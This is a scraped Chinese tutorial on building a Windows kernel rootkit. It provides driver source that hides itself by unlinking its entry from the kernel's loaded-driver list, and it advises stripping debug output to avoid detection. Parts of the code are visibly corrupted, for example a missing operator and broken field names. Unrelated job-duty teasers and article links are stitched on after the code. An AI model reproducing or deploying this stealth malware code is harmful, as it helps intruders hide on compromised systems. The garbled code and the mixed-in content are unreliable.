Rootkit隱形技術方法
一、綜述
本文將引領讀者打造一個初級的內核級Rootkit,然後爲其引入兩種簡單的隱形技術:進程隱形技術和文件隱形技術。同時,爲了讓讀者獲得rootkit編程的相關經驗,我們順便介紹了rootkit的裝載、卸載方法,以及必不可少的測試技術。
本文介紹的Rootkit的主要構件是一個設備驅動程序,所以我們首先了解一下我們的第一個rootkit。
二、rootkit主體
本節引入一個簡單的rootkit實例,它實際上只給出了rootkit的主體框架,換句話說,就是一個設備驅動程序。那麼爲什麼要用設備驅動程序作爲主體呢?很明顯,因爲在系統中,設備驅動程序和操作系統一樣,都是程序中的特權階級——它們運行於Ring0,有權訪問系統中的所有代碼和數據。還有一點需要說明的是,因爲本例主要目的在於介紹rootkit是如何隱形的,所以並沒有實現後門之類的具體功能,。
我們將以源代碼的.形式說明rootkit,對着重介紹一些重要的數據結構和函數。下面,先給出我們用到的第一個文件,它是一個頭文件,名爲Invisible.h,具體如下所示:
//Invisible.h:我們rootkit的頭文件
#ifndef _INVISIBLE_H_
#define _INVISIBLE_H_
typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD* PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef struct _DRIVER_DATA
{
LIST_ENTRY listEntry;
DWORD unknown1;
DWORD unknown2;
DWORD unknown3;
DWORD unknown4;
DWORD unknown5;
DWORD unknown6;
DWORD unknown7;
UNICODE_STRING path;
UNICODE_STRING name;
} DRIVER_DATA;
#endif
我們知道,應用軟件只要簡單引用幾個文件如stdio.h和windows.h,就能囊括大量的定義。但這種做法到了驅動程序這裏就行不通了,原因大致有二條,一是驅動程序體積一般較爲緊湊,二是驅動程序用途較爲專一,用到的數據類型較少。因此,我們這裏給出了一個頭文件Invisible.h,其中定義了一些供我們的rootkit之用的數據類型。
這裏定義的類型中,有一個數據類型要提一下:雙字類型,它實際上是一個無符號長整型。此外,DRIVER_DATA是Windows 操作系統未公開的一個數據結構,其中含有分別指向設備驅動程序目錄中上一個和下一個設備驅動程序的指針。而我們這裏開發的rootkit恰好就是作爲設備驅動程序來實現,所以,只要從設備驅動程序目錄中將我們的rootkit(即驅動程序)所對應的目錄項去掉,系統管理程序就看不到它了,從而實現了隱形。
上面介紹了rootkit的頭文件,現在開始介紹rootkit的主體部分,它實際就是一個基本的設備驅動程序,具體代碼如下面的Invisible.c所示:
// Invisible
#include "ntddk.h"
#include "Invisible.h"
#include "fileManager.h"
#include "configManager.h"
// 全局變量
ULONG majorVersion;
ULONG minorVersion;
//當進行free build時,將其註釋掉,以防被檢測到
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
DbgPrint("comint16: OnUnload called.");
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
DRIVER_DATA* driverData;
//取得操作系統的版本
PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );
// Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95
// Major = 5: Windows Server 2003, Windows XP 或 Windows 2000
// Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95
// Minor = 1: Windows XP
// Minor = 2: Windows Server 2003
if ( majorVersion == 5 && minorVersion == 2 )
{
DbgPrint("comint16: Running on Windows 2003");
}
else if ( majorVersion == 5 && minorVersion == 1 )
{
DbgPrint("comint16: Running on Windows XP");
}
else if ( majorVersion == 5 && minorVersion == 0 )
{
DbgPrint("comint16: Running on Windows 2000");
}
else if ( majorVersion == 4 && minorVersion == 0 )
{
DbgPrint("comint16: Running on Windows NT 4.0");
}
else
{
DbgPrint("comint16: Running on unknown system");
}
// 隱藏該驅動程序
driverData = *((DRIVER_DATA**)((DWORD)pDriverObject 20));
if( driverData != NULL )
{
// 將本驅動程序的相應目錄項從項驅動程序目錄中拆下來
*((PDWORD)driverData->k) = (DWORD)driverData->k;
driverData->k->Blink = driverData->k;
}
// 允許卸載本驅動程序
pDriverObject->DriverUnload = OnUnload;
// 爲本Rootkit的控制器配置連接
if( !NT_SUCCESS( Configure() ) )
{
DbgPrint("comint16: Could not configure remote connection.n");
return STATUS_UNSUCCESSFUL;
}
return STATUS_SUCCESS;
}
-
維修技工崗位職責【通用11篇】
隨着社會一步步向前發展,很多情況下我們都會接觸到崗位職責,制定崗位職責有利於提高工作效率和工作質量。制定崗位職責的注意事項有許多,你確定會寫嗎?下面是小編精心整理的維修技工崗位職責,歡迎大家借鑑與參考,希望對大家有所幫助。維修技工崗位職責1暖通技工:空調...
-
技工的崗位職責26篇
在當下社會,很多場合都離不了崗位職責,崗位職責主要強調的是在工作範圍內所應盡的責任。什麼樣的崗位職責纔是有效的呢?下面是小編爲大家整理的技工的崗位職責,歡迎大家分享。技工的崗位職責11、協助工程部主管開展日常工作,執行有關管理制度並貫徹落實,確保物業及所...
-
(實用)工程技工崗位職責
在發展不斷提速的社會中,需要使用崗位職責的場合越來越多,任何崗位職責都是一個責任、權力與義務的綜合體,有多大的權力就應該承擔多大的責任,有多大的權力和責任應該盡多大的義務,任何割裂開來的做法都會發生問題。那麼制定崗位職責真的很難嗎?下面是小編精心整理的...
-
技工個人簡歷(精選15篇)
日子如同白駒過隙,不經意間,找工作的黃金時間馬上就要到來,這時候可別把簡歷給忘了哦。相信許多人會覺得簡歷很難寫吧,下面是小編精心整理的技工個人簡歷,歡迎閱讀,希望大家能夠喜歡。技工個人簡歷1姓名:李先生性別:男民族:漢族戶籍:山東年齡:22婚姻狀況:未婚身高:169cm學歷...
相關文章
- workstation服務無法啓動解決辦法
- How to Interview for a Job—外企面試技巧
- 「1.4」First day to go to work 上班第一天
- 暑假英語作文A trip to the country
- 華爲T8830pro的root教程,一鍵root方法
- 騰訊手機管家pc版中的一鍵root和kingroot有什麼區別?
- 關於哪一種職業加班的情況比較多? What Kind of Jobs use to Work Overtime?英語作文
- 勞動法,To do or not to do?-保險是非多
- 利用Kickstart自動化安裝CentOS的方法
- MacBook Pro with Retina display 不適合做網頁設計嗎?